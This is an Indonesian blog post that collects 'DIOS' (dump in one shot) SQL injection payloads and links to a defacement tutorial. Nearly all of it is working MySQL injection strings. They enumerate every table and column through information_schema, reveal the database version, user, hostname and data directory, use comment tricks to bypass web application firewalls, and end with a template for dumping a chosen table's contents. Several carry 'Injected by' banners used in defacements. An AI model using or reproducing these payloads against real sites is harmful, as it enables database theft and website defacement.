umpulan Dios SQL Injections
DIOS SQL Injections singkatan dari DUMP IN ONE SHOT yang bertujuan untuk
memuncul semua tables dan columns dari db tersebut hanya dalam 1 query,
Jika kalian belum tau cara melakukan SQL Injectons manual bisa liat
klik link postingan di bawah :
-> Deface SQL Injection Manual
1. DIOS by MRFMR
concat(0x494e4a454354204259204d522e464d52,0x3c62723e,/*!00000/*!00000(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,database(),0x3a3a,table_name,0x203a3a20,column_name))))x)*/)
2. DIOS by MRFMR WAF
/*!00000concat*/(0x3C666F6E7420666163653D224963656C616E6422207374796C653D22636F6C6F723A7265643B746578742D736861646F773A307078203170782035707820233030303B666F6E742D73697A653A33307078223E496E6A6563746564206279204D722E464D5220782054333735344B315431203C2F666F6E743E3C62723E3C62723E3C666F6E7420636F6C6F723D626C61636B2073697A653D353E44622056657273696F6E203A20,version(),0x3c62723e44622055736572203a20,user(),0x3C62723E2053796D203A,@@HAVE_SYMLINK,0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
3. DIOS String Based by ILLUMI01
concat(0x2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d,0x3c62723e,0x3c62723e, 0x546f756368656420627920496c6c756d69,0x3c62723e,0x3c62723e, 0x2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d,0x3c62723e,0x3c62723e, 0x4461746162617365203a3a20,database(), 0x3c62723e,0x55736572203a3a20,user(),0x3c62723e,0x56657273696f6e203a3a20,version(),0x3c62723e, 0x486f73746e616d65203a3a20,@@hostname, 0x3c62723e,0x4461746120646972203a3a20,@@datadir,0x3c62723e,0x3c62723e,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@))
concat(0x2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d,0x3c62723e,0x3c62723e, 0x546f756368656420627920496c6c756d69,0x3c62723e,0x3c62723e, 0x2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d,0x3c62723e,0x3c62723e, 0x4461746162617365203a3a20,database(), 0x3c62723e,0x55736572203a3a20,user(),0x3c62723e,0x56657273696f6e203a3a20,version(),0x3c62723e, 0x486f73746e616d65203a3a20,@@hostname, 0x3c62723e,0x4461746120646972203a3a20,@@datadir,0x3c62723e,0x3c62723e,(select(@a)+from+(select(@a:=0x00),(@tbl:=0x00),(select+(@a)+from+(information_schema.columns)+where+(table_schema!=0x696e666f726d6174696f6e5f736368656d61)+and(0x00)in+(@a:=concat(@a,0x3c62723e,if(+(@tbl!=table_name),Concat(0x3c62723e,0x5461626c65203a3a20,@tbl:=table_name,0x3c62723e7e20,column_name),concat(0x7e20,(column_name)))))))a))
DIOS Error Based :
concat(0x2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d,0x3c62723e,0x3c62723e, 0x546f756368656420627920496c6c756d69,0x3c62723e,0x3c62723e, 0x2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d,0x3c62723e,0x3c62723e, 0x4461746162617365203a3a20,database(), 0x3c62723e,0x55736572203a3a20,user(),0x3c62723e,0x56657273696f6e203a3a20,version(),0x3c62723e, 0x486f73746e616d65203a3a20,@@hostname, 0x3c62723e,0x4461746120646972203a3a20,@@datadir,0x3c62723e,0x3c62723e, 0x2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d,0x3c62723e,0x3c62723e, 0x44554d50203a2920,0x3c62723e,0x3c62723e, (select(@a)+from+(select(@a:=0x00),(@tbl:=0x00),(select+(@a)+from+(information_schema.columns)+where+(table_schema!=0x696e666f726d6174696f6e5f736368656d61)+and(0x00)in+(@a:=concat(@a,0x3c62723e,if(+(@tbl!=table_name),Concat(0x3c62723e,0x5461626c65203a3a20,@tbl:=table_name,0x3c62723e7e20,column_name),concat(0x7e20,(column_name)))))))a))
concat(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a65637465642062792054694765522053614e67203a3a4772656574277320546f20416c6c2050696e6f79205765622050656e746573746572733c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d626c75652073697a653d353e44622056657273696f6e203a,user(),0x3c62723e506f7274203a,@@PORT,0x3c62723e436865636b2069662053796d6c696e6b206973204f4e203a,@@HAVE_SYMLINK,0x3c62723e536572766572204f73204465746563746564203a,@@VERSION_COMPILE_OS,0x3c62723e436865636b207768696368204f70657261746f72732063616e20626520757365204572726f723a,@@FT_BOOLEAN_SYNTAX,0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema/**/.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
4. DIOS by m@db100d
(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0x203a3a20,2)),@,2))
5. DIOS by Zen
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
6. DIOS WAF
ConcAt/**_**/(0x3c63656e7465723e,0x3c696d67207372633d2268747470733a2f2f706173746562696e2e636f6d2f63616368652f696d672f372f392f32352f323437383031332e6a7067222077696474683d2231353022206865696768743d22313530223e,0x3c62723e,0x20496e6a6563746564204279203078436f7233,0x3c62723e,0x204442203a20,database/**_**/(),0x207c20,0x566572203a20,version/**_**/(),0x207c20,0x55736572203a20,user/**_**/(),(select(@x)/*!50000from*/(select(@x:=0x00),(select(0)/*!50000from*/(/*!50000information_schema*/.columns)where(table_schema=database/**_**/())and(0x00)in(@x:=concat+(@x,0x3c62723e,/*!50000table_name*/,0x203e20,/*!50000column_name*/))))x))
7. DIOS WAF 2
(/*!50000select*/+concat+(@:=0,(/*!50000select*/+count(*) from+/*!50000information_schema.tables*/+WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND@:=concat+(@,0x3c62723e,/*!50000table_name*/)),@))
8. DIOS by tr0jan WAF
concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/
9. DIOS by DHANI WAF
/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
Dan ini dios yang biasa sering saya gunakan,
Untuk memunculkan tables & columns :
/*!00000/*!00000(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,database(),0x3a3a,table_name,0x203a3a20,column_name))))x)*/
Dan ini DIOS untuk mengdump isi tables tersebut :
(/*!50000select*/(@x)from(/*!50000select*/(@x:=0x00),(/*!50000select*/(@x)from(IsiDenganNamaTablesTersebut)where(@x)in(@x:=/*!50000concat*/(0x20,@x,0x3c62723e,NamaColumns,0x203a3a20,NamaColumns))))x)
Oke sekian dari saya assallamuallaikum wr.wb
0 Komentar